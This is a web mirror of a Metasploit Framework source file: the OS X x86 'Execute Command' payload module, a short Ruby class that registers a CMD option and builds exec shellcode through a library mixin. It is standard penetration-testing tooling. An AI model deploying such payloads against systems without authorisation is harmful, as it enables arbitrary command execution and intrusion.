CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/osx/x86/exec.rb
Views: 11780
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
###
7
#
8
# Exec
9
# ----
10
#
11
# Executes an arbitrary command.
12
#
13
###
14
module MetasploitModule
15
16
CachedSize = 24
17
18
include Msf::Payload::Single
19
include Msf::Payload::Bsd::X86
20
include Msf::Payload::Osx
21
22
def initialize(info = {})
23
super(merge_info(info,
24
'Name' => 'OS X Execute Command',
25
'Description' => 'Execute an arbitrary command',
26
'Author' => [
27
'snagg <snagg[at]openssl.it>',
28
'argp <argp[at]census-labs.com>',
29
'joev'
30
],
31
'License' => BSD_LICENSE,
32
'Platform' => 'osx',
33
'Arch' => ARCH_X86
34
))
35
36
register_options([
37
OptString.new('CMD', [ true, "The command string to execute" ]),
38
])
39
end
40
41
#
42
# Dynamically builds the exec payload based on the user's options.
43
#
44
def generate(opts={})
45
bsd_x86_exec_payload
46
end
47
end
48
49